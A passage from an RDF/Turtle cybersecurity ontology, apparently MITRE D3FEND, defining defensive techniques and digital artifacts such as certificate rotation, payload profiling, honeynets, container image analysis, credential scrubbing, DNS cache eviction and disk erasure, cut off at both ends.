Certificate rotation should be performed when:
- Any certificate expires.
- A new CA authority is substituted for the old, thus requiring a replacement root certificate.
- New or modified constraints need to be imposed on one or more certificates.
- A security breach has occurred.

Considerations:
- Managing certificate rotation across an enterprise can be complex. Automated solutions, sold by multiple vendors, should be considered to manage this complexity.""" ;
    d3f:kb-reference d3f:Reference-PasswordandKeyRotation-SSH ;
    d3f:regenerates d3f:Certificate ;
    rdfs:seeAlso <https://docs.couchbase.com/server/7.0/manage/manage-security/rotate-server-certificates.html> ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:regenerates ;
            owl:someValuesFrom d3f:Certificate ],
        d3f:CredentialRotation .

d3f:CertificateTrustStore a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Certificate Trust Store" ;
    d3f:contains d3f:Certificate ;
    d3f:definition "A certificate truststore is used to store public certificates used to authenticate clients by the server for an SSL connection." ;
    rdfs:seeAlso <http://dbpedia.org/resource/Public_key_certificate>,
        <https://www.educative.io/edpresso/keystore-vs-truststore> ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:contains ;
            owl:someValuesFrom d3f:Certificate ],
        d3f:TrustStore .

d3f:Client-serverPayloadProfiling a d3f:Client-serverPayloadProfiling,
        owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Client-server Payload Profiling" ;
    d3f:analyzes d3f:NetworkTraffic ;
    d3f:d3fend-id "D3-CSPP" ;
    d3f:definition "Comparing client-server request and response payloads to a baseline profile to identify outliers." ;
    d3f:kb-article """## How it works
Profiling request and response payloads across multiple clients to a single server to develop a baseline of their characteristics. May take into account request/response sizes, entropy, frequency, and rhythm. Finally, identify outliers as they may indicate a malicious payload delivery and subsequent server exploitation.


## Considerations
* Collecting metrics to establish a profile can be challenging since user behavior can change easily.
* Employees may work different hours or inconsistent schedules which will cause false positives.
* Collection of network activity to generate metrics is a computationally intensive process.
* Users may log into different workstations which may cause false positives.""" ;
    d3f:kb-reference d3f:Reference-MethodAndSystemForDetectingMaliciousPayloads_VectraNetworksInc ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:analyzes ;
            owl:someValuesFrom d3f:NetworkTraffic ],
        d3f:NetworkTrafficAnalysis .

d3f:ClientApplication a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Client Application" ;
    d3f:definition "A client application is software that accesses a service made available by a server. The server is often (but not always) on another computer system, in which case the client accesses the service by way of a network. The term applies to the role that programs or devices play in the client-server model" ;
    rdfs:isDefinedBy <http://dbpedia.org/resource/Client_(computing)> ;
    rdfs:seeAlso d3f:T1554 ;
    rdfs:subClassOf d3f:Application .

d3f:Clipboard a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Clipboard" ;
    d3f:definition "The clipboard is a buffer that some operating systems provide for short-term storage and transfer within and between application programs. The clipboard is usually temporary and unnamed, and its contents reside in the computer's RAM. The clipboard is sometimes called the paste buffer. Windows, Linux and macOS support a single clipboard transaction. Each cut or copy overwrites the previous contents. Normally, paste operations copy the contents, leaving the contents available in the clipboard for further pasting." ;
    rdfs:isDefinedBy <http://dbpedia.org/resource/Clipboard_(computing)> ;
    rdfs:subClassOf d3f:DigitalInformationBearer .

d3f:CloudInstanceMetadata a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Cloud Instance Metadata" ;
    d3f:definition "Cloud instance metadata is configuration information on the instance and users of the instance.  This includes such information as security groups, public ip addresses, and private addresses, public keys configured, and event rotating security keys. User data can contain initialization scripts, variables, passwords, and more." ;
    rdfs:seeAlso <https://isc.sans.edu/forums/diary/Cloud+Metadata+Urls/22046> ;
    rdfs:subClassOf d3f:CloudConfiguration .

d3f:CloudServiceAuthentication a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Cloud Service Authentication" ;
    d3f:definition "A request-response comprising a user credential presentation to a system and a verification response where the verifying party is a cloud service." ;
    rdfs:subClassOf d3f:WebAuthentication .

d3f:CloudServiceAuthorization a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Cloud Service Authorization" ;
    d3f:definition "Cloud authorization is the function of specifying access rights to cloud resources." ;
    rdfs:subClassOf d3f:Authorization .

d3f:CloudServiceProvider a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Cloud Service Provider" ;
    d3f:definition "A cloud service provider delivers scalable and distributed computing resources over a network, enabling clients to access infrastructure, platforms, and applications remotely." ;
    rdfs:subClassOf d3f:ServiceProvider .

d3f:CodeRepository a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Code Repository" ;
    d3f:definition "A code repository is a form of database where code, typically source code, is stored and managed.  In revision control systems, a repository is a data structure that stores metadata for a set of files or directory structure. Depending on whether the version control system in use is distributed like (Git or Mercurial) or centralized like (Subversion, CVS, or Perforce), the whole set of information in the repository may be duplicated on every user's system or may be maintained on a single server." ;
    rdfs:isDefinedBy <http://dbpedia.org/resource/Repository_(version_control)> ;
    rdfs:subClassOf d3f:Database ;
    skos:altLabel "Repository",
        "Version Control Repository" .

d3f:CodecApplication a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Codec Application" ;
    d3f:contains d3f:CodecLibrary ;
    d3f:definition "An application that encodes and decodes digital data." ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:contains ;
            owl:someValuesFrom d3f:CodecLibrary ],
        d3f:UserApplication .

d3f:CodecLibrary a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Codec Library" ;
    d3f:definition "A software component that encodes or decodes a data stream of signal." ;
    rdfs:subClassOf d3f:SoftwareLibrary .

d3f:CommandHistoryLogFile a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Command History Log File" ;
    d3f:contains d3f:CommandHistoryLog ;
    d3f:definition "A command history log file is a file containing a command history, which the history of commands run in an operating system shell." ;
    rdfs:seeAlso <http://dbpedia.org/resource/Command_history> ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:contains ;
            owl:someValuesFrom d3f:CommandHistoryLog ],
        d3f:LogFile .

d3f:CommonAttackPattern a owl:Class ;
    rdfs:label "Common Attack Pattern" ;
    d3f:definition "A common attack pattern that is in the CAPEC knowledge base." ;
    rdfs:subClassOf d3f:CAPECThing .

d3f:Compiler a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Compiler" ;
    d3f:definition "In computing, a compiler is a computer program that translates computer code written in one programming language (the source language) into another language (the target language). The name \"compiler\" is primarily used for programs that translate source code from a high-level programming language to a lower level language (e.g., assembly language, object code, or machine code) to create an executable program." ;
    d3f:reads d3f:CompilerConfigurationFile ;
    rdfs:isDefinedBy <http://dbpedia.org/resource/Compiler> ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:reads ;
            owl:someValuesFrom d3f:CompilerConfigurationFile ],
        d3f:BuildTool .

d3f:ConfigurationDatabase a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Configuration Database" ;
    d3f:contains d3f:ConfigurationDatabaseRecord ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:contains ;
            owl:someValuesFrom d3f:ConfigurationDatabaseRecord ],
        d3f:ConfigurationResource .

d3f:ConnectSocket a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Connect Socket" ;
    d3f:connects d3f:Pipe ;
    d3f:definition "The connect socket system call connects the socket to a target address." ;
    rdfs:seeAlso <https://man7.org/linux/man-pages/man2/connect.2.html> ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:connects ;
            owl:someValuesFrom d3f:Pipe ],
        d3f:SystemCall .

d3f:ConnectedHoneynet a d3f:ConnectedHoneynet,
        owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Connected Honeynet" ;
    d3f:d3fend-id "D3-CHN" ;
    d3f:definition "A decoy service, system, or environment, that is connected to the enterprise network, and simulates or emulates certain functionality to the network, without exposing full access to a production system." ;
    d3f:kb-article """## How it works
Decoy honeypots are deployed within the enterprise environment that emulate certain services or portions of an OS to attract attackers.

## Considerations
A connected honeynet provides a tradeoff between emulating certain functionality but not being as sophisticated as an integrated honeynet. The connected honeynet may not provide enough functionality to detect new attack patterns or zero day exploits but could provide enough functionality for specific known vulnerabilities.""" ;
    d3f:kb-reference d3f:Reference-ModificationOfAServerToMimicADeceptionMechanism_AcalvioTechnologiesInc ;
    d3f:spoofs d3f:LocalAreaNetwork ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:spoofs ;
            owl:someValuesFrom d3f:LocalAreaNetwork ],
        d3f:DecoyEnvironment .

d3f:ConnectionAttemptAnalysis a d3f:ConnectionAttemptAnalysis,
        owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Connection Attempt Analysis" ;
    d3f:analyzes d3f:IntranetNetworkTraffic ;
    d3f:d3fend-id "D3-CAA" ;
    d3f:definition "Analyzing failed connections in a network to detect unauthorized activity." ;
    d3f:kb-article """## How it works
Connection Attempt Analysis in multiple ways.

### Monitoring traffic to unallocated IP space
One approach looks for failed connection attempts against unallocated IP space. First, network traffic is captured to map out the network to identify network assets as well as unallocated IP space. The map is then used to determine if connection attempts are being made to the unallocated IP space.

### Monitoring for sequentially transmitted traffic
Another approach passively inspects network traffic with application protocol analyzers observing network activity characteristics such as volume of packets sent/ received, TCP session attributes, and connection information between hosts (start time, source/destination host, services, etc.). Then using pattern matching to identify traffic which appears to be probing for network hosts.

## Considerations

* Implementations that rely on analysis of unallocated IP address space increase in their complexity with network size and decentralized network infrastructure.
* Inventory of unallocated IP space should should be continuously updated to mitigate the risk of false positives.
* IPv6 also introduces challenges including IPv6 traffic bypassing IPv4 specific protection systems (ex. firewalls and IDS) and complexity in managing both IPv6 and IPv4 addresses.""" ;
    d3f:kb-reference d3f:Reference-DetectingNetworkReconnaissanceByTrackingIntranetDark-netCommunications_VECTRANETWORKSInc ;
    d3f:synonym "Network Scan Detection" ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:analyzes ;
            owl:someValuesFrom d3f:IntranetNetworkTraffic ],
        d3f:NetworkTrafficAnalysis .

d3f:ContainerImageAnalysis a d3f:ContainerImageAnalysis,
        owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Container Image Analysis" ;
    d3f:analyzes d3f:ContainerImage ;
    d3f:d3fend-id "D3-CIA" ;
    d3f:definition "Analyzing a Container Image with respect to a set of policies." ;
    d3f:kb-article """## How it works

Container images are standalone collections of the executable code and
content that are used to populate a container environment.
They are usually created by either building a container from scratch or by
building on top of an existing image pulled from a repository.

Throughout the container build workflow,
images should be scanned to identify:

- outdated libraries,
- known vulnerabilities,
- or misconfigurations, such as insecure ports or permissions.

Scanning should also provide the flexibility to disregard false positives
for vulnerability detection where knowledgeable
cybersecurity professionals have deemed alerts to be inaccurate.

One approach to implementing image scanning is to use an admission controller
to block deployments if the image does not comply with the organization's
security policies.

An admission controller is a Container Orchestration feature that can intercept and
process requests to the Container Orchestration API prior to persistence of the object,
but after the request is authenticated and authorized.
A webhook can be implemented to scan any image before it is deployed in the orchestrator.
This admission controller

## Considerations

* Image scanning is key to ensuring deployed containers are secure.
* Using trusted repositories to build containers is a critical part of the container build workflow.
* This technique does not necessarly prevent the build process to add insecure or unsecured
  files to the Image.
""" ;
    d3f:kb-reference d3f:Reference-ContainerImageAnalysis ;
    d3f:synonym "Container Image Scanning" ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:analyzes ;
            owl:someValuesFrom d3f:ContainerImage ],
        d3f:AssetVulnerabilityEnumeration .

d3f:ContainerOrchestrationSoftware a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Container Orchestration Software" ;
    d3f:definition "A d3f:Software which manages and coordinates running one or more d3f:ContainerProcess." ;
    d3f:manages d3f:ContainerProcess ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:manages ;
            owl:someValuesFrom d3f:ContainerProcess ],
        d3f:ServiceApplication .

d3f:ContentExcision a d3f:ContentExcision,
        owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Content Excision" ;
    d3f:d3fend-id "D3-CNE" ;
    d3f:definition "Removing specific, potentially malicious, parts of content" ;
    d3f:kb-article """## How it works

If malicious or unecessary elements is discovered within the content, or if a specific embedded portion does not comply with policy, it may be removed to ensure safety.""" ;
    d3f:kb-reference d3f:Reference-MethodForContentDisarmandReconstruction_OPSWATInc ;
    rdfs:subClassOf d3f:ContentModification .

d3f:ContentFormatConversion a d3f:ContentFormatConversion,
        owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Content Format Conversion" ;
    d3f:d3fend-id "D3-CFC" ;
    d3f:definition "Content format conversion is mechanical transformation from one format to another which may be normalization or specifically flattening." ;
    d3f:kb-article """## How it works

This technique may enhance security by transforming files into safer or normalized formats.""" ;
    d3f:kb-reference d3f:Reference-MethodForContentDisarmandReconstruction_OPSWATInc ;
    rdfs:subClassOf d3f:ContentModification .

d3f:ContentPolicy a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Content Policy" ;
    d3f:definition "A set of rules and guidelines that dictate the acceptable use, distribution, and management of digital content within a system or platform. It defines what content is allowed, restricted, or prohibited, ensuring compliance with legal, ethical, and organizational standards." ;
    rdfs:subClassOf d3f:DigitalInformationBearer .

d3f:ContentRebuild a d3f:ContentRebuild,
        owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Content Rebuild" ;
    d3f:d3fend-id "D3-CNR" ;
    d3f:definition "Rebuild the file according to the spec so any unreferenced components or objects are removed." ;
    d3f:kb-article """## How it works

If inputted content is divided up into components for further scrutiny, the components may be combined back afterwards in a safer state.""" ;
    d3f:kb-reference d3f:Reference-MethodForContentDisarmandReconstruction_OPSWATInc ;
    d3f:synonym "Content Reconstruction" ;
    rdfs:subClassOf d3f:ContentModification .

d3f:ContentSubstitution a d3f:ContentSubstitution,
        owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Content Substitution" ;
    d3f:d3fend-id "D3-CNS" ;
    d3f:definition "Modifies specific digital content information by replacing it with something else." ;
    d3f:kb-article """## How it works

If malicious or unecessary elements is discovered within the content, or if a specific embedded portion does not comply with policy, it may be replaced with alternatives to ensure safety.""" ;
    d3f:kb-reference d3f:Reference-MethodForContentDisarmandReconstruction_OPSWATInc ;
    rdfs:subClassOf d3f:ContentModification .

d3f:ControlCorrelationIdentifierCatalog a owl:Class ;
    rdfs:label "Control Correlation Identifier Catalog" ;
    d3f:definition "A control correlation identifier (CCI) catalog provides a catalog of CCIs for a given release date." ;
    rdfs:seeAlso <https://public.cyber.mil/stigs/cci/> ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:has-member ;
            owl:someValuesFrom d3f:CCIControl ],
        d3f:ControlCatalog .

d3f:ConvolutionalNeuralNetwork a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Convolutional Neural Network" ;
    d3f:d3fend-id "D3A-CNN" ;
    d3f:definition "A class of artificial neural network most commonly applied to analyze visual imagery.CNNs use a mathematical operation called convolution in place of general matrix multiplication in at least one of their layers." ;
    d3f:kb-article """## References
Wikipedia. (n.d.). Convolutional neural network. [Link](https://en.wikipedia.org/wiki/Convolutional_neural_network)""" ;
    rdfs:subClassOf d3f:DeepNeuralNetClassification .

d3f:CredentialManagementSystem a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Credential Management System" ;
    d3f:definition "Credential Management, also referred to as a Credential Management System (CMS), is an established form of software that is used for issuing and managing credentials as part of public key infrastructure (PKI)." ;
    d3f:manages d3f:Credential ;
    rdfs:isDefinedBy <http://dbpedia.org/resource/Credential_Management> ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:manages ;
            owl:someValuesFrom d3f:Credential ],
        d3f:ServiceApplication .

d3f:CredentialRevocation a d3f:CredentialRevocation,
        owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Credential Revocation" ;
    d3f:d3fend-id "D3-CR" ;
    d3f:definition "Deleting a set of credentials permanently to prevent them from being used to authenticate." ;
    d3f:deletes d3f:Credential ;
    d3f:kb-article """## How it works

Management servers with enterprise policies for account management provide the ability remove permissions, accounts, or credentials. Compromised credentials should be revoked to prevent further malicious activity.""" ;
    d3f:kb-reference d3f:Reference-RevokingaPreviouslyIssuedVerifiableCredential-Microsoft ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:deletes ;
            owl:someValuesFrom d3f:Credential ],
        d3f:CredentialEviction .

d3f:CredentialScrubbing a d3f:CredentialScrubbing,
        owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Credential Scrubbing" ;
    d3f:d3fend-id "D3-CS" ;
    d3f:definition "The systematic removal of hard-coded credentials from source code to prevent accidental exposure and unauthorized access." ;
    d3f:hardens d3f:Subroutine ;
    d3f:kb-article """## How it Works
Credential Scrubbing involves identifying and eliminating hard-coded credentials such as usernames, passwords, API keys, and tokens from source code repositories. These credentials should be managed securely using environment variables, secret management tools, or secure vaults where they can be safely accessed when needed.

## Considerations
* Developers should conduct regular audits of source code to ensure credentials are not hard-coded.
* Exposed credentials found in version control history must be disabled and replaced promptly.
* Adopt role-based access controls and credential rotation policies to minimize security risks.""" ;
    d3f:kb-reference d3f:Reference-SecretsManagementCheatSheet-OWASP ;
    rdfs:seeAlso d3f:CWE-798,
        <https://capec.mitre.org/data/definitions/191.html> ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:hardens ;
            owl:someValuesFrom d3f:Subroutine ],
        d3f:SourceCodeHardening .

d3f:CredentialTransmissionScoping a d3f:CredentialTransmissionScoping,
        owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Credential Transmission Scoping" ;
    d3f:d3fend-id "D3-CTS" ;
    d3f:definition "Limiting the transmission of a credential to a scoped set of relying parties." ;
    d3f:isolates d3f:Credential ;
    d3f:kb-reference d3f:Reference-WebAuthentication_AnAPIForAccessingPublicKeyCredentialsLevel2 ;
    d3f:synonym "Phishing Resistant Authentication" ;
    rdfs:seeAlso <https://pages.nist.gov/TIG-Stage/sp800-63c.html>,
        <https://www.w3.org/TR/webauthn-2/> ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:isolates ;
            owl:someValuesFrom d3f:Credential ],
        d3f:AccessMediation .

d3f:CustomArchiveFile a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Custom Archive File" ;
    d3f:definition "A custom archive file is an archive file conforming to a custom format; that is, an archive file that does not conform to a common standard." ;
    rdfs:subClassOf d3f:ArchiveFile .

d3f:CyberAction a owl:Class ;
    rdfs:label "Cyber Action" ;
    rdfs:subClassOf d3f:Action .

d3f:DHCPAckEvent a owl:Class ;
    rdfs:label "DHCP Ack Event" ;
    d3f:definition "An event where a DHCP server sends an ACK message to acknowledge a client's REQUEST, confirming the allocation of an IP address and associated network settings." ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:preceded-by ;
            owl:someValuesFrom d3f:DHCPRequestEvent ],
        d3f:DHCPEvent ;
    skos:altLabel "DHCPACK" .

d3f:DHCPRequestEvent a owl:Class ;
    rdfs:label "DHCP Request Event" ;
    d3f:definition "An event where a DHCP client sends a REQUEST message to confirm or renew its desired IP configuration with a specific DHCP server." ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:preceded-by ;
            owl:someValuesFrom d3f:DHCPOfferEvent ],
        d3f:DHCPEvent ;
    skos:altLabel "DHCPREQUEST" .

d3f:DHCPServiceApplication a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "DHCP Service Application" ;
    d3f:definition "An application that automates the assignment of IP addresses and other network configuration parameters to devices on a network" ;
    d3f:instructs d3f:DHCPService ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:instructs ;
            owl:someValuesFrom d3f:DHCPService ],
        d3f:ServiceApplication .

d3f:DNSCacheEviction a d3f:DNSCacheEviction,
        owl:Class,
        owl:NamedIndividual ;
    rdfs:label "DNS Cache Eviction" ;
    d3f:d3fend-id "D3-DNSCE" ;
    d3f:definition "Flushing DNS to clear any IP addresses or other DNS records from the cache." ;
    d3f:deletes d3f:DNSRecord ;
    d3f:kb-article """# How it works

Flushing the DNS Cache will clear the IP addresses of websites you have visited recently. This can help remediate DNS Cache Poisoning attacks, which is a type of cyber attack where corrupted DNS data is inserted into the cache, causing redirects to malicious websites.

On windows, the DNS cache can be wiped by issuing the command `ipconfig /flushdns`.""" ;
    d3f:kb-reference <http://d3fend.mitre.org/ontologies/d3fend.owl#Reference-EvictionGuidanceforNetworksAffectedbytheSolarWindsandActiveDirectory/M365Compromise-CISA> ;
    d3f:synonym "Flush DNS Cache" ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:deletes ;
            owl:someValuesFrom d3f:DNSRecord ],
        d3f:ObjectEviction .

d3f:DNSEvent a owl:Class ;
    rdfs:label "DNS Event" ;
    d3f:definition "An event involving the Domain Name System (DNS), which translates domain names to IP addresses and operates over UDP and TCP." ;
    rdfs:seeAlso <https://schema.ocsf.io/1.3.0/classes/dns_activity> ;
    rdfs:subClassOf [ a owl:Class ;
            owl:unionOf ( d3f:TCPEvent d3f:UDPEvent ) ],
        [ a owl:Restriction ;
            owl:onProperty d3f:has-participant ;
            owl:someValuesFrom d3f:DNSNetworkTraffic ],
        d3f:ApplicationLayerEvent .

d3f:DNSRecord a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "DNS Record" ;
    d3f:definition "A Domain Name System (DNS) record is a record of information returned to clients seeking to find computers, services, and other resources connected to the Internet or a private network.  Record information is stored on a domain name server so it can respond to DNS queries from clients.There are a variety of record types, depending on the client's information needs. Common types include Start of Authority, IP addresses, SMTP mail exchangers, name servers, reverse DNS lookup pointers, etc." ;
    rdfs:seeAlso <http://dbpedia.org/resource/Domain_Name_System>,
        <http://dbpedia.org/resource/List_of_DNS_record_types> ;
    rdfs:subClassOf d3f:Record .

d3f:DataAcquisitionAgent a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Data Acquisition Agent" ;
    d3f:definition "A software component which connects to data sources to gather raw, time-stamped data. It often connects to databases or historian gateways for storage and analysis." ;
    d3f:synonym "Data Gateway; Historian Collector" ;
    rdfs:seeAlso <https://attack.mitre.org/assets/A0009> ;
    rdfs:subClassOf d3f:Application .

d3f:DataDependency a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Data Dependency" ;
    d3f:definition "A Data Dependency exists when a process, operation, or system requires specific data in order to execute correctly." ;
    d3f:synonym "Transactional Dependency" ;
    rdfs:subClassOf d3f:Dependency .

d3f:DataInventory a d3f:DataInventory,
        owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Data Inventory" ;
    d3f:d3fend-id "D3-DI" ;
    d3f:definition "Data inventorying identifies and records the schemas, formats, volumes, and locations of data stored and used on the organization's architecture." ;
    d3f:inventories d3f:Database,
        d3f:DocumentFile ;
    d3f:kb-reference d3f:Reference-DataProcessingAndScanningSystemsForGeneratingAndPopulatingADataInventory ;
    d3f:synonym "Data Discovery",
        "Data Inventorying" ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:inventories ;
            owl:someValuesFrom d3f:DocumentFile ],
        [ a owl:Restriction ;
            owl:onProperty d3f:inventories ;
            owl:someValuesFrom d3f:Database ],
        d3f:AssetInventory .

d3f:DatabaseService a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Database Service" ;
    d3f:definition "A database service interacts with a database, either retrieving data through queries or making modifications to its contents." ;
    d3f:executes d3f:DatabaseQuery ;
    d3f:manages d3f:Database ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:manages ;
            owl:someValuesFrom d3f:Database ],
        [ a owl:Restriction ;
            owl:onProperty d3f:executes ;
            owl:someValuesFrom d3f:DatabaseQuery ],
        d3f:ServiceApplicationProcess .

d3f:DecoyPublicRelease a d3f:DecoyPublicRelease,
        owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Decoy Public Release" ;
    d3f:d3fend-id "D3-DPR" ;
    d3f:definition "Issuing publicly released media to deceive adversaries." ;
    d3f:kb-article """## How it works
Publicly released media includes press release, videos, or other marketing collateral. The media may include URLs, points of contact, or other identifiers to entice interaction from adversaries.

## Considerations
* Information used in decoy public released media must contain enough realism to deceive and provide interaction from adversaries.
* Continuous development, creation, and distribution of media and identifiers are needed to ensure adversary interaction continues over time.
* Decoy public releases could be placed on platforms with different degrees of ownership, including entirely enterprise-owned infrastructure, IaaS, and SaaS (including social applications). Platforms that are not entirely enterprise-owned may be more likely to gather information""" ;
    d3f:kb-reference d3f:Reference-MockAttackCybersecurityTrainingSystemAndMethods_WOMBATSECURITYTECHNOLOGIESInc ;
    rdfs:subClassOf d3f:DecoyObject .

d3f:DecoySessionToken a d3f:DecoySessionToken,
        owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Decoy Session Token" ;
    d3f:d3fend-id "D3-DST" ;
    d3f:definition "An authentication token created for the purposes of deceiving an adversary." ;
    d3f:kb-article """## How it works
Usage of decoy session tokens may be monitored to track attacker behavior or otherwise control the beliefs of the attacker.

## Considerations
* Interaction and activity with the decoy session token must be constantly monitored and analyzed to detect unauthorized activity.
* Session tokens are typically short-lived and therefore the decoy must be continuously updated to provide the appearance of it being used in the production environment.
* Automated tools can assist with maintenance and updates by automatically adjusting the decoy session token and environment to mimic the production environment.""" ;
    d3f:kb-reference d3f:Reference-DecoyAndDeceptiveDataObjectTechnology_CymmetriaInc ;
    d3f:spoofs d3f:SessionToken ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:spoofs ;
            owl:someValuesFrom d3f:SessionToken ],
        d3f:DecoyObject .

d3f:DeepNeuralNetClassification a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Deep Neural Network Classification" ;
    d3f:d3fend-id "D3A-DNNC" ;
    d3f:definition "A deep neural network (DNN) is an artificial neural network (ANN) with multiple layers between the input and output layers. There are different types of neural networks but they always consist of the same components: neurons, synapses, weights, biases, and functions. These components as a whole function similarly to a human brain, and can be trained like any other ML algorithm" ;
    d3f:kb-article """## References
Deep learning. Wikipedia. [Link](https://en.wikipedia.org/wiki/Deep_learning).""" ;
    rdfs:subClassOf d3f:ArtificialNeuralNetClassification .

d3f:DeleteFile a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Delete File" ;
    d3f:definition "Remove a file from a machine." ;
    d3f:deletes d3f:File ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:deletes ;
            owl:someValuesFrom d3f:File ],
        d3f:SystemCall .

d3f:DeserializationFunction a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Deserialization Function" ;
    d3f:definition "Function with an input of serialized data which deserializes that data, usually with data parsing methods." ;
    rdfs:subClassOf d3f:Subroutine .

d3f:DigitalImage a owl:Class ;
    rdfs:label "Digital Image" ;
    d3f:definition "A digital image is a pixel-based visual representation stored in formats like JPEG or PNG, used for various digital applications." ;
    rdfs:isDefinedBy "https://dbpedia.org/page/Digital_image" ;
    rdfs:subClassOf d3f:DigitalMedia .

d3f:DirectionalNetworkLink a d3f:DirectionalNetworkLink,
        owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Directional Network Link" ;
    d3f:d3fend-id "D3-DNL" ;
    d3f:definition "Enforce one-way network communication by preventing two-way communication." ;
    d3f:kb-article """## How it works
Using a device such as a data diode, or otherwise enforcing unidirectional (one-way) network communication / data transfer, to physically prevent signals from traveling in the reverse direction.

Unidirectional network link enforcement is a security measure used to separate control and safety systems in operational technology (OT) environments. By employing physical data diodes, this approach ensures one-way communication, allowing information from safety systems to be viewed without permitting any modification or interference, thereby protecting the integrity of the safety system.

""" ;
    d3f:kb-reference d3f:Reference-SecureOneWayDataTransferUsingCommunicationInterfaceCircuitry ;
    d3f:restricts d3f:PhysicalLink ;
    d3f:uses d3f:PhysicalDataDiode ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:uses ;
            owl:someValuesFrom d3f:PhysicalDataDiode ],
        [ a owl:Restriction ;
            owl:onProperty d3f:restricts ;
            owl:someValuesFrom d3f:PhysicalLink ],
        d3f:NetworkIsolation .

d3f:DiskErasure a d3f:DiskErasure,
        owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Disk Erasure" ;
    d3f:d3fend-id "D3-DKE" ;
    d3f:definition "Disk Erasure is the process of securely deleting all data on a disk to ensure that it cannot be recovered by any means." ;
    d3f:erases d3f:SecondaryStorage ;
    d3f:kb-article """### How it works

Disk Erasure involves overwriting the existing data with random or specific patterns multiple times. Disk erasure is crucial for data sanitization, ensuring that sensitive information is completely removed from storage devices before they are repurposed, disposed of, or transferred to another party.""" ;
    d3f:kb-reference <http://d3fend.mitre.org/ontologies/d3fend.owl#Reference-Remembranceofdatapassed:Astudyofdisksanitizationpractices> ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:erases ;
            owl:someValuesFrom d3f:SecondaryStorage ],
        d3f:DiskFormatting .

d3f:DiskPartitioning a d3f:DiskPartitioning,
        owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Disk Partitioning" ;
    d3f:creates d3f:PartitionTable ;
    d3f:d3fend-id "D3-DKP" ;
    d3f:definition "Disk Partitioning is the process of dividing a disk into multiple distinct sections, known as partitions." ;
    d3f:kb-article """### How it works

Each partition can be managed separately and can have its own file system. Disk partitioning can be used to segregate sensitive data from less critical data, improve system performance, and enhance data management and recovery processes. It can also help in isolating different operating systems or environments on the same physical disk.""" ;
    d3f:kb-reference <http://d3fend.mitre.org/ontologies/d3fend.owl#Reference-Remembranceofdatapassed:Astudyofdisksanitizationpractices> ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:creates ;
            owl:someValuesFrom d3f:PartitionTable ],
